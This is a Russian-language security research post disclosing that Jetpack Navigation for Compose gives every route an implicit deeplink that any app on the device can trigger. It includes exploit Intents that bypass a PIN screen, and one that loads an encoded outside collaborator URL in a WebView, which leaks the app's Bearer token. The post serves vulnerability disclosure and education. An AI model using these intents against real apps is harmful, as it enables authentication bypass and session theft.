Android Jetpack Navigation: Go Even Deeper - (не)Уникальный опыт

Android Jetpack Navigation: Go Even Deeper


Предыдущее исследование

Некоторое время назад мой коллега нашел интересную уязвимость в библиотеке Jetpack Navigation, которая позволяет открывать любой экран приложения в обход существующих ограничений для компонентов не являющихся экспортированными, а следовательно недоступными для других приложений. Суть проблемы в наличии неявного механизма обработки depplink-ов, с которым может взаимодействовать любое приложение на устройстве. Это исследование завершилось тем, что компания Google добавила в документацию к библиотеке следующее предупреждение:

/img/jetpack-compose-navigation/afd2874f950766bd721944957a1f0a0d.png

Проблема этого предупреждения в том, что оно, исходя из контекста документации, касается только API для создания явных deeplink-ов. Хотя на самом деле проблема гораздо глубже. Но давайте обо всем по порядку.

Специфика навигации для Compose

Jetpack Compose — это некий новый подход к построению UI в Android. По сути это замена широко используемым ранее фрагментам. Следовательно и подходы к навигации между экранами, которые теперь являются composable функциями или виджетами, тоже будут другие. Так и появилось дополнение для библиотеки Jetpack Navigation умеющее работать экранами построенными на Jetpack Compose. Типичный пример работы с новым типом навигации выглядит так:

NavHost(startDestination = "profile/{userId}") {
    ...
    composable(
        "profile/{userId}",
        arguments = listOf(navArgument("userId") { type = NavType.StringType })
    ) {...}
}

Основными строительными блоками графа навигации являются функции composable, которыми описываются все переходы между экранами, как это делалось ранее для фрагментов с помощью XML. В этих же функциях есть возможность обявлять deeplink-и, которые предназначены для “приземления” пользователя на конкретный экран минуя всю необходимую последовательность переходов. Объявить такой deeplink можно следующим образом:

val uri = "https://www.example.com"

composable(
    "profile?id={id}",
    deepLinks = listOf(navDeepLink { uriPattern = "$uri/{id}" })
) { backStackEntry ->
    Profile(navController, backStackEntry.arguments?.getString("id"))
}
<activity >
  <intent-filter>
    ...
    <data android:scheme="https" android:host="www.example.com" />
  </intent-filter>
</activity>

И здесь уже начинаются проблемы. Потому что такой deeplink делает ровно то, что я написал выше - закидывает пользователя на конкретный экран не обращая никакого внимания то какой экран при этом является стартовым. Стоп. Все это мы уже проходили в прошлом исследовании и такие проблемы Google предлагает решать механизмами условной навигации. В конце-концов, разработчик добавляя deeplink-и в свое приложение должен понимать риски их неправомерного использования и адекватно эти риски обрабатывать! Хорошо, разработчик решил не заморачиваться с мутными механизмом deeplink-ов и удалил их из своего приложения и из манифеста. Похоже, что теперь можно выдохнуть и не переживать о проблемах связанных с небезопасным использованием deeplink-ов… Помните, я сказал, что проблемы начинаются при добавлении deeplink-ов? Так вот — я врал. Проблемы начинаются гораздо раньше. Давайте разберемся в них на примере специально подготовленного приложения с сompose навигацией, но без deeplink-ов.

Эксплуатация неявных deeplink-ов

Модельное приложение представляет из себя три экрана: ввод пин-кода, основной экран и экран с веб-содержимым:

/img/jetpack-compose-navigation/6fecd01af3b98bd582aa5b7c7c97de65.png

Согласно графу навигации, экран с пин-кодом всегда является стартовым по задумке разработчика, и попасть на основной экран не вводя пин-код — нельзя. Также как и переход к экрану с WebView осуществляется только с главного экрана. Так выглядит граф навигации со всеми переходами:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
NavHost(
    navController = navController,
    startDestination = SuperSecureBankScreen.Pin.name,
    modifier = Modifier
        .fillMaxSize()
        .verticalScroll(rememberScrollState())
        .padding(innerPadding)
) {

    composable(route = SuperSecureBankScreen.Main.name) {
        MainScreen(
            onOpenWebButtonClicked = {
                navController.navigate(
                    "${SuperSecureBankScreen.WebContent.name}/${
                        URLEncoder.encode(
                            "https://ptsecurity.com",
                            Charsets.UTF_8.name()
                        )
                    }"
                )
            }
        )
    }
    
    composable(route = SuperSecureBankScreen.Pin.name) {
        PinScreen(
            onEnterButtonClicked = {
                navController.navigate(
                    SuperSecureBankScreen.Main
                        .name,
                    NavOptions.Builder().setPopUpTo(
                        SuperSecureBankScreen.Pin
                            .name, true
                    ).build()
                )
            }
        )
    }
    
    composable(
        route = "${SuperSecureBankScreen.WebContent.name}/{url}",
        arguments = listOf(navArgument("url") { type = NavType.StringType }),
    ) { backStackEntry ->
        val url = backStackEntry.arguments?.getString("url")!!
        Log.d("", navController.graph.toString())
        WebContentScreen(url)
    }
}

Манифест приложения тоже выглядит максимально просто:

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools">

    <uses-permission android:name="android.permission.INTERNET" />

    <application
        android:allowBackup="false"
        android:dataExtractionRules="@xml/data_extraction_rules"
        android:fullBackupContent="@xml/backup_rules"
        android:icon="@mipmap/ic_launcher"
        android:label="@string/app_name"
        android:roundIcon="@mipmap/ic_launcher_round"
        android:supportsRtl="true"
        android:theme="@style/Theme.SuperSecureBank"
        android:usesCleartextTraffic="true"
        tools:targetApi="31">
        <activity
            android:name=".MainActivity"
            android:exported="true"
            android:label="@string/app_name"
            android:theme="@style/Theme.SuperSecureBank">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
    </application>
</manifest>

Разработчик загрузит такое приложение в стор даже не подозревая о том, что оно уязвимо, хотя он ничего еще страшного в нем не сделал. Все переходы в графе навигации четко прописаны, activity в манифесте одна и других точек входа нет, deeplink-ов в приложении тоже нет. Где же уязвимость? Давайте разбираться. Для начала покажу как можно обойти экран ввода пин-кода, а потом сделаем кое-что поинтереснее.

Как мы помним — ввод пин-кода всегда первый экран и попасть на главный без ввода пин-кода нельзя. Или можно?

Сразу покажу код эксплойта:

Intent().apply {
    setClassName("com.ptsecurity.supersecurebank", "com.ptsecurity.supersecurebank.MainActivity")
    data = Uri.parse("android-app://androidx.navigation/Main")
					 
    startActivity(this)
}

Слишком просто чтобы быть правдой? Тогда вдогонку закину еще один пример с захватом аккаунта, а потом разберемся что же здесь черт возьми происходит. В приложении есть экран отображающий веб-содержимое. Чтобы отображать именно тот контент, который относится к пользователю, экран реализует добавление заголовка авторизации при открытии страницы:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
@Composable
fun WebContentScreen(url: String) {
    AndroidView(factory = { context ->
        WebView(context).apply {
            webViewClient = WebViewClient()
            settings.javaScriptEnabled = true
    
            loadUrl(url, mapOf("Authorization" to "Bearer 78b9861f74e15d7d0f077ba22421b8e4"))
        }
    })
}

По задумке разработчика, здесь нет никаких проблем, потому что url жестко зашит в обработчике перехода к этому экрану и поэтому вся схема выглядит безопасной:

...
 composable(route = SuperSecureBankScreen.Main.name) {
     MainScreen(
         onOpenWebButtonClicked = {
             navController.navigate(
                 "${SuperSecureBankScreen.WebContent.name}/${
                     URLEncoder.encode(
                         "https://ptsecurity.com",
                         Charsets.UTF_8.name()
                     )
                 }"
             )
         }
     )
 }
...

По сути так оно и есть. До того момента пока злоумышленник не получит возможность открывать произвольные ссылки на этом экране:

Если кто не понял, то только что произошел угон сессии пользователя без какого либо взаимодействия с ним.

/img/jetpack-compose-navigation/c9f452e554a0e0758da07fb51f544989.png

Также привожу код эксплойта:

Intent().apply {  
    setClassName("com.ptsecurity.supersecurebank", "com.ptsecurity.supersecurebank.MainActivity")  
    data = Uri.parse("android-app://androidx.navigation/WebContent/%68%74%74%70%73%3a%2f%2f%33%35%36%6d%39%61%6d%39%32%35%32%64%65%6f%74%76%66%73%35%7a%71%62%69%31%6c%73%72%6a%66%39%33%79%2e%6f%61%73%74%69%66%79%2e%63%6f%6d")  
  
    startActivity(this)  
}

Как это вообще стало возможным и откуда здесь deeplink-и, которые нигде не объявлялись в приложении?! А это еще один подарок от компании Google, который они не считают уязвимостью. Как он попал в приложении и можно ли с этим что-то сделать, разберемся далее.

Исследование проблемы неявных deeplink-ов

Сначала посмотрим на проблему, в отладчике, а потом найдем исходный код, который и сделал эту уязвимость возможной. Поставим точку останова в коде, который выполняется при срабатывании перехода и покопавшись в кишках имеющихся в памяти объектов увидим, что в к моменту перехода на экран, неявный deeplink уже был создан без какого-либо участия со стороны разработчика.

/img/jetpack-compose-navigation/04f52ff568fe31133d40161426984aa4.png

После изучения исходного кода библиотеки, стало понятно, что при создании роутов, библиотека сама назначает внутренние deeplink-и каждому роуту и происходит это совершенно неявно для разработчика. Найти описание этого механизма также не удалось и судя по аннотациям в коде, он является внутренним, а значит документация, если она и есть - тоже внутренняя.

Еще раз вернемся к примеру объявления нового роута согласно официальной документации:

NavHost(  
    navController = navController,  
    startDestination = SuperSecureBankScreen.Pin.name,  
) {
    composable(
        route = "${SuperSecureBankScreen.WebContent.name}/{url}",
        arguments = listOf(navArgument("url") { type = NavType.StringType })
    ) { backStackEntry ->
        val url = backStackEntry.arguments?.getString("url")!
        WebContentScreen(url)
    }
}

После выполнения этой функции в приложении появится диплинк android-app://androidx.navigation/WebContent/{url} к которому можно обратится из другого приложения передав параметр “url” без каких либо ограничений. Посмотрим на исходный код функции composable:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public fun NavGraphBuilder.composable(  
    route: String,
    arguments: List<NamedNavArgument> = emptyList(),  
	deepLinks: List<NavDeepLink> = emptyList(),
	...
) {  
    addDestination(  
        ComposeNavigator.Destination(  
            provider[ComposeNavigator::class],  
            content  
        ).apply {  
            this.route = route  
            arguments.forEach { (argumentName, argument) ->  
                addArgument(argumentName, argument)  
            }  
            deepLinks.forEach { deepLink ->  
                addDeepLink(deepLink)  
            }  
            this.enterTransition = enterTransition  
            this.exitTransition = exitTransition  
            this.popEnterTransition = popEnterTransition  
            this.popExitTransition = popExitTransition  
        }  
    )  
}

Из строк 4 и 16 видно, что здесь описан стандартный механизм добавления deeplink-ов к роутам и по умолчанию там пустой список. Значит проблема не в нем, а где-то еще. Дальнейшее исследование показало, что проблема кроется в строке 12. Если посмотреть на определение поля route, то можно увидеть кастомный set-еr, который в свою очередь вызывает метод createRoute который и формирует некий “внутренний” deeplink для каждого переданного роута:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
public var route: String? = null
    set(route) {
        if (route == null) {
            id = 0
        } else {
            require(route.isNotBlank()) { "Cannot have an empty route" }
            val internalRoute = createRoute(route)
            id = internalRoute.hashCode()
            addDeepLink(internalRoute)
        }
        deepLinks.remove(deepLinks.firstOrNull { it.uriPattern == createRoute(field) })
        field = route
    }
...
@RestrictTo(RestrictTo.Scope.LIBRARY_GROUP)  
public fun createRoute(route: String?): String =  
    if (route != null) "android-app://androidx.navigation/$route" else ""

Есть еще один интересный момент: даже если разработчик определит у роута свой собственный набор deeplink-ов, то они просто добавятся к уже существующему неявному deeplink-у, что следует из кода метода addDeepLink вызов которого мы уже видели выше в теле функции composable:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
public open class NavDestination(...) {
	...
	private val deepLinks = mutableListOf<NavDeepLink>()
	...
	public fun addDeepLink(navDeepLink: NavDeepLink) {  
	    val missingRequiredArguments = _arguments.missingRequiredArguments { key ->  
	        key !in navDeepLink.argumentsNames  
	    }  
	    require(missingRequiredArguments.isEmpty()) {  
	        "Deep link ${navDeepLink.uriPattern} can't be used to open destination $this.\n" +  
	            "Following required arguments are missing: $missingRequiredArguments"  
	    }  
	  
	    deepLinks.add(navDeepLink)  
	}
}

Также проверим это в отладчике:

/img/jetpack-compose-navigation/4a483cba98f0373736133f2b5d0be5ea.png

Все работает так, как и было запрограммировано — сначала добавляется неявный deeplink, а потом в ту же коллекцию попадает deeplink определенный разработчиком. А если взглянуть на функцию handleDeeplink, которая обсуждалась в прошлом исследовании, то видно, что когда она не находит идентификаторов deeplink-ов, то вызывается функция matchDeepLink(1), которая пытается найти переданный uri в уже известном нам массиве deepLinks.

/img/jetpack-compose-navigation/80b66a37588561b8b6ea84ee745c3248.png

Конечно же это у нее получается, и дальше функция заботливо строит цепочку идентификаторов (2) для перехода по графу и добавляет переданные в составе deeplink-а аргументы в объект globalArgs (3). Далее это все обрабатывается как обычный deeplink и открывается целевой экран с переданными аргументами.

Выводы

Про риски связанные с deeplink-ами было написано много разных материалов. Да и в целом проблема довольно известна исследователям безопасности. Ошибки связанны явными deeplink-ами регулярно находятся и эксплуатируются. Зачем добавлять еще больше проблем в эту многострадальную область — загадка.

Что делать разработчикам приложений? Самый банальный совет — не использовать эту библиотеку. Он подойдет не всем, но это самый надежный способ. Лучше потратить какое-то время на разработку и отладку своего решения для навигации, но при этом быть на 100% уверенным, что там не происходит ничего подобного. Все остальные варианты, будут иметь те или иные проблемы. Возьмем для примера официальный совет от Google - использовать условную навигацию и порассуждаем, что не так с этим советом. Официальная документация не дает примеров для Compose, поэтому возьмем за основу код из этой статьи. Автор статьи по ходу повествования приходит к следующему варианту реализации условной навигации, которая не позволит попасть на основной экран приложения минуя процедуру авторизации:

@Composable
fun SingleNavHost(
    viewModel: AppViewModel,
    navController: NavHostController = rememberNavController()
) {
    NavHost(
        navController = navController,
        startDestination = "home"
    ) {
        composable("home") {
            HomeScreen(
                viewModel = viewModel,
                onNavigateToLoginScreen = {
                    navController.navigate("login")
                }
            )
        },
        composable("login") {
            LoginScreen()
        }
    ...

@Composable
fun HomeScreen(
    viewModel: AppViewModel,
    onNavigateToLoginScreen: () -> Unit = {}
) {

    val viewState by viewModel.viewState.collectAsState()

    when (viewState) {
        AppViewModel.ViewState.Loading -> {
            LoadingView()
        }
        AppViewModel.ViewState.NotLoggedIn -> {
            LaunchedEffect(viewState) {
                onNavigateToLoginScreen()
            }
        }
        AppViewModel.ViewState.LoggedIn -> {
            HomeScreenContent()
        }
    }
}

Фактически, здесь предлагается вынести проверку авторизации на домашний экран чтобы не проверять ее на каждом экране. Отличная оптимизация с точки зрения разработки, но это еще больше упрощает эксплуатацию уязвимости с неявными deeplink-ами. Ведь по сути, если проверка осуществляется только на главном экране, то достаточно на этот экран не попадать и проверка не сработает. Предположим, что разработчик решил проверять авторизацию на каждом экране и теперь при переходе по неявному deeplink-у на любой экран будет требоваться ввода пин-кода или чего-то подобного. Теперь безопасно? Снова нет. Для злоумышленника такой расклад лишь превращает его 0-click эксплойт в 1-click. При чем довольно условный 1-click, потому что пользователь при вводе пин-кода фактически не знает какой экран откроется после этой процедуры и какие параметры на этот экран будут переданы. Для него это не будет ничем отличаться от обычного входа в приложение. Уязвимость это или нет — решать вам. Google свой выбор сделали, теперь ваша очередь.


Смотрите также